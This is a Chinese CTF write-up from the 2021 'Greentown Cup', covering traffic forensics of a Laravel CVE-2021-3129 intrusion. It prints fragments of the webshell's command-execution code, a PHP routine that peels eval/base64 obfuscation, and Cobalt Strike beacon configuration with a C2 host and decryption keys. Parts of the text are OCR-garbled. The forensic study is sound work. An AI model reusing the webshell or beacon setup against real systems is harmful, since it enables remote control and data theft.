# 2021年"绿城杯"网络安全大赛-Misc-流量分析

# 原创

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2021年"绿城杯"网络安全大赛 专栏收录该内容

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订阅专栏

## 2021年"绿城杯"网络安全大赛-Misc-流量分析

题目名称:流量分析

题目内容:一道复杂的流量分析

题目分值: 200.0 题目难度: 中等

相关附件:流量分析的附件.zip

#### 解题思路:

1.流量过一遍。发现.config.php 是 webshell。找攻击者如何写入 webshell。发现存在一些可疑的 POST 流量,UA 头是 python requests。通过返回包发现程序报错。使用

#### **Laravel**。

<ul><li>6121 56.616154</li></ul>	192.168.132.130	192.168.132.138	HTTP/J	207 POST /index.php/_ignition/execute-solution/ HTTP/1.1 , JavaScript Object Notation (application/js	son)
- 6625 56.766804	192.168.132.138	192.168.132.130	HTTP	59 HTTP/1.1 500 Internal Server Error (text/html)	
6634 56.769879	192.168.132.130	192.168.132.138	HTTP/J	222 POST /index.php/_ignition/execute-solution/ HTTP/1.1 , JavaScript Object Notation (application/js	son)
6636 56.880127	192.168.132.138	192.168.132.130	HTTP	367 HTTP/1.1 200 OK	
6638 56.883112	192.168.132.130	192.168.132.138	HTTP/J	258 POST /index.php/_ignition/execute-solution/ HTTP/1.1 , JavaScript Object Notation (application/js	son)
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	share an inter-danger hits	h-\ 207 b-tt	1 /2050 1:4	and the first land of the state	
				s) on interface \Device\NPF_{B17A473E-B13E-42E0-8DBC-77A64D6B8CE6}, id 0	
				c:bd (00:0c:29:1e:ac:bd)	
		168.132.130, Dst: 192.			
		t: 21649, Dst Port: 80		ACK: 1, Len: 153	
		): #6120(237), #6121(1	53)]		
Hypertext Transfer		1			
> POST /index.php/_ignition/execute-solution/ HTTP/1.1\r\n Host: 192.168.132.138\r\n					
		V			
	hon-requests/2.24.0\r	\n			
	g: gzip, deflate\r\n				
Accept: */*\r\n					
Connection: kee					
> Content-Length:					
	pplication/json\r\n				
\r\n	//400 400 40			111.0	
		2.138/index.php/_ignit	ion/execute	s-solution/j	
[HTTP request 1					
[Response in fr					
File Data: 153	,	· H · · ·			
> JavaScript Object	Notation: application	n/json		CSDN @夜 E	日君

发现流量中可疑的字符串。

```
6644 56.990668 192.168.132.130 192.168.132.138
                                                     HTTP/J... 142 POST /index.php/_ignition/execute-solution/ HTTP/1.1 , JavaScript Object Notation (application/json)
   7153 57.126082
                   192.168.132.138
                                    192.168.132.130
                                                     HTTP
                                                               59 HTTP/1.1 500 Internal Server Error (text/html)
Encoding: gzip, deflate\r\n
ion: keep-alive\r\n
-Length: 3008\r
-Type: application/json\r\n
 equest URI: http://192.168.132.138/index.php/_ignition/execute-solution/]
equest 3/3]
equest in frame: 6638]
se in frame: 7153]
ita: 3008 bytes
t Object Notation: application/json
er Key: solution
ring value: Facade\Ignition\Solutions\MakeViewVariableOptionalSolution
y: solution
er Key: parameters
ject
Member Kev: viewFile
  Member Key: variableName
String value: doesnotexist
  Key: variableName
y: parameters
                                                                                                                                          CSDN @夜白零
```

### 2.网上查找资料发现是 CVE-2021-3129 漏洞攻击特征。对字符串进行解密。解密方法如

下:

- 1. 去掉 AAA\*
- 2. 替换=00 为空
- 3. 进行 base64 解码

多解密几个就发现写入 webshell。

3.Webshell 密码为 14433。查找一句话木马特征。找到解密方法。

# php使用N层加密eval gzinflate str\_rot13 base64 破解方法汇总

来源:本站转载作者: 佚名时间: 2011-02-14 TAG: 我要投稿

```
PHP使用eval(gzinflate(str_rot13(base64_decode('BASE64加密后内容'))))核心代码的解密
下非扩展方式的php加密方法:
这里有个在线的,还不错。木马防杀还行,要保护代码可就不行了。
对应的写了一个简单的解密的,
专门针对eval。这个原理很有用途。
特别说明:此解密程序好像一定得在PHP5上面使用,
我在PHP4上面测试eval(gzinflate(str_rot13(base64_decode('BASE64加密后内容')))))内加密的代码始终无法正常解密.
<?php
//已经加密的文件内容
$a="eval(gzinflate(str_rot13(base64_decode('这里面放BASE64代码'))));";
function decodephp($a) {
$max level=300; //最大层数
for($i=0;$i<$max_level;$i++) {</pre>
ob start();
eval(str_replace('eval','echo',$a));
$a = ob_get_clean();
if(strpos($a,'eval(gzinflate(str_rot13(base64_decode')===false) {
echo decodephp($a);
                                                                                                   CSDN @夜白君
```

4.得到大马内容, 直接看关键点吧。原来是 POST 参数值去掉前 2 位就可以 base64 直接解密的。

```
ob_start();
try {
     $p=base64_decode(substr($_POST["f861d394170244"],2));
     $s=base64_decode(substr($_POST["ufbd335828f30f"],2));
     $envstr=@base64_decode(substr($_POST["b430b310838a93"],2));
     $d=dirname($_SERVER["SCRIPT_FILENAME"]);
     $c=substr($d,0,1)=="/"?"-c \"{$s}\\"":"/c \"{$s}\\"";
```

5.层层解密,找到压缩包加密密码。

" cd /d "D:\phpstudy\_pro\WWW\secret"&"C:\Program Files\7-

Zip\7z.exe" x secret.zip -pP4Uk6qkh6Gvqwg3y&echo 378df2c234&cd&echo fb7f8f

ID

下面我们去找 secret.zip, 其实之前就看到过。里面内容就是.cobaltstrike.beacon keys。

·/·x······H·M··C· v{···;····?wz··k 76 7b df a0 8d 3b 98 0f 1d bb 3f 57 7a 0a b0 6b d0 36 20 d1 b7 3a 24 7b a6 2a e0 c6 97 ff 97 a3 ·6 ··:\${ ·\*·· e0 4d e9 34 a1 c4 02 22 3e ac 78 28 25 6f bf 3b ·M·4 · · · ' >·x(%o·: aa 4e 76 fd 39 4b d8 89 de 12 09 b9 51 f4 4c e7 ·Nv ·9K · · · · · · Q · L 0090 Ch/I····P! 43 68 2f 49 b8 1a ac 1c 91 3c 93 e7 a6 b0 50 21 x·I···N# ···S··6· ··%A···· R···)·3 aaba 78 c3 49 ff ce 12 4e 23 bc 8e f7 53 0d d3 36 ba b2 c9 25 41 fb dd 06 e0 20 52 d1 d7 be 29 da 33 00c0 00d0 c3 f0 1e 2b 3d c7 65 f2 23 73 ee 35 a3 3f b5 ca ···+=·e· #s·5·?· 00e0 f6 52 6e fe ff 8f e3 f6 4e 4a bd 0f 8d 9e 7c 1b ·Rn · · · · · NJ · · · · I · 0c c4 b6 d1 b0 c6 0e 63 2e 94 a8 09 ca 6e ae c7 ·····c .····n· 0100 60 70 fa 5a 70 29 6a c6 56 25 b4 38 e7 ac f0 cd `p·Zp)j· V%·8···· 0110 cf ba 4d d8 5c 28 aa a3 d8 6e 29 2a d6 77 2d 84 ··M·\(···n)\*·w-· a2 5d 01 bc d7 3c c3 af 5e 93 8b 45 93 49 e6 ae

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## 6.根据 PK 头发现是压缩文件。就是前后有 webshell 带上去字符串。导出通过 winhex

修改得到 zip 文件。使用上面的密码就可以解压。

解密 cobaltstrike 流量

参考 wbglil 大佬文章和工具。解密 cobaltstrike 公钥和私钥。解除私钥后解密元数

据和 key。通过 key 解密回传数据。

流程是:

- 1. 解密私钥。
- 2. 通过私钥解密元数据、获取 AES KEY。
- 3. 通过 AES KEY 解密通讯流量

PS C:\Users\cheng\Downloads\CS\_Decrypt-main> java -cp .\cobaltstrike.jar .\get\_RSA.java
Private Key: MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBAIqpew0+lqNYuxQhQwq7pMdM7CP92uer5FkUA41vPaelrbpqr1ujH95Q7R
qt7E7Vc+Xx5dYQCoRaysjNm+UfuRcFocLHG2ugf4+/NEX/NFE+gI279wXfC+zZ0MGFMQIAC1TClaiMvALwMB9nBuXK/CErC754co9cIbaIkCl/sRXAgMBAA
CgYBql5FYXHwfrMmIDJUiv99FzovIko1b/FV2Xxrn8TS8E265Vt3Zm0aYtS25b5Ko6YnpGqqxW4VekksGqndiRwtN5bIilU1EqWqfdBmucptnISgDdx+ofW
InTRl+leBzDW4Zsl2sMvMmmyhsc/X35pGbH2lRXXEegPzradtyBwhUQJBANt2IC4p5CQW2UxXVjmrTbA+CuJLfnZE+97HCjzZPi/gUiF44aFfyx46x0vT1Rm
alqUg1Prl70oKb05Lmwm0XukCQQChv4blpfqVcdz9X6MGJqeaiC22EPZn+2dhm4PbZIhurs57M7+dqlYxoG6LneU0H1N8ieeH9fb9ixG/8+F7iIE/AkEAzy
YfDv3r0oSoMriD1bz5CjtxWtXWvcMfuaPd5nt5uxxHD+8ryQ+/ypH6A+UAslK5V/1L1XXLankIZmmJqcr4QJAGUAkF//EUcY3wJpIgfJQ4e/2auDVBsCZkA
OHLbgcZ76fwNCG6P21sJ733Hj0TI+v0dsDK6aQ1SNjdDN15Ik0wJBAK7C5l0QF8NRliw2+tPUSDVy/PRUVmpRRd4cD4HXNtVMg0Dr3L7vx9PeyJH0EFuaVW
tdBDILP0HzUR1/wk5ZFY=

Public Key: MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCKqXsDvpajWLsUIUMKu6THTOwj/drnq+RZFA0Nbz2npa26aq9box/eU00X6rex01XPl8e WEAqEWsrIzZvlH7kXBaHCxxtroH+PvzRF/zRRPoCNu/cF3wvs2dDBhTECAAtUwpWojLwC8DAfZwblyvwhKwu+eHKPXCG2iJApf7EVwIDAQAB

PS C:\Users\cheng\Downloads\CS\_Decrypt-main> |

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#### 解密元数据获得 AES KEY

```
process name:beacon.exe
AES key:7c83bf30a6ad2dc410040d33e1399cf6
HMAC key:a77945b3a56687a39f90683cb24d00c2
00000000: 00 00 BE EF 00 00 00 5B B5 55 DE 5D CE 3B 9E 3E
                                                             ......[.U.].;.>
00000010: B4 B5 72 2F 6A A6 BC 85 A8 03 A8 03 5A 55 C0 F6
                                                             ..r/j.....ZU..
00000020: 00 00 1F 14 00 00 0C 06 02 23 F0 00 00 00 00 75
                                                            . . . . . . . . . # . . . . . u
00000030: 9A 16 D0 75 9A 05 A0 8A 84 A8 C0 44 45 53 4B 54
                                                            ...u.....DESKT
00000040: 4F 50 2D 51 51 46 30 4D 4C 4E 09 41 64 6D 69 6E
                                                            OP-QQF0MLN.Admin
00000050: 69 73 74 72 61 74 6F 72 09 62 65 61 63 6F 6E 2E
                                                            istrator.beacon.
00000060: 65 78 65
                                                            exe
                                                                                   CSDN @夜白君
None
```

提示:元数据就是心跳包,请求/en\_US/all.js 路径,通过 cookie 传输。通讯数据是POST请求/submit.php?id=xxxxx,这个可以通过解密流量中的 beacon.exe 特征

```
"BeaconType":[
"HTTP"
],
"Port":80,
"SleepTime":60000,
"MaxSdetSize":1048576,
"Jitten":0,
"MaxDNS":255,
"PublicKey":"NIG*MAGGCSqGSIDSDgEBAQUAA4GNADCBIQKBQCKQXSDypajWLSUIUHKuoTHTOwj/drng+RZFAONbz2npa2oaq9box/eu00Xorex01Xi"
PublicKey":"NIG*MAGGCSqGSIDSDgEBAQUAA4GNADCBIQKBQCKQXSDypajWLSUIUHKuoTHTOwj/drng+RZFAONbz2npa2oaq9box/eu00Xorex01Xi"
PublicKey":"192.106.132.128,/en_US/all.js",
"UserAgent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
"HttpPostUri":"/submit.php",
"Malleable_C2_Instructions":[

],
"ConstParams":[

],
"ConstParams":[

],
"Hetadata":[
"base64",
"header \"Cookie\""
],
"SessionId":[

],
"SessionId":[

],
"Output":[

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```

直接解密主机回传数据。导出 data 数据通过 base64 编码,进行解密。

```
$ python3 Beacon_Task_return_AES_Decrypt.py
counter:5
任务返回长度:46
任务输出类型:30
b'flag{787fc697-8773-4669-84ad-94f714e7df09}'
00000000: 00 00 00 05 00 00 00 2E
                                  00 00 00 1E 66 6C 61 67
00000010: 7B 37 38 37 66 63 36 39
                                  37 2D 38 37 37 33 2D 34
                                                          {787fc697-8773-4
00000020: 36 36 39 2D 38 34 61 64
                                  2D 39 34 66 37 31 34 65
                                                          669-84ad-94f714e
                                                          7df09}.....
00000030: 37 64 66 30 39 7D 00 00
                                  00 00 00 00 00 00 00 00
None
                                                                 CSDN @夜白君
```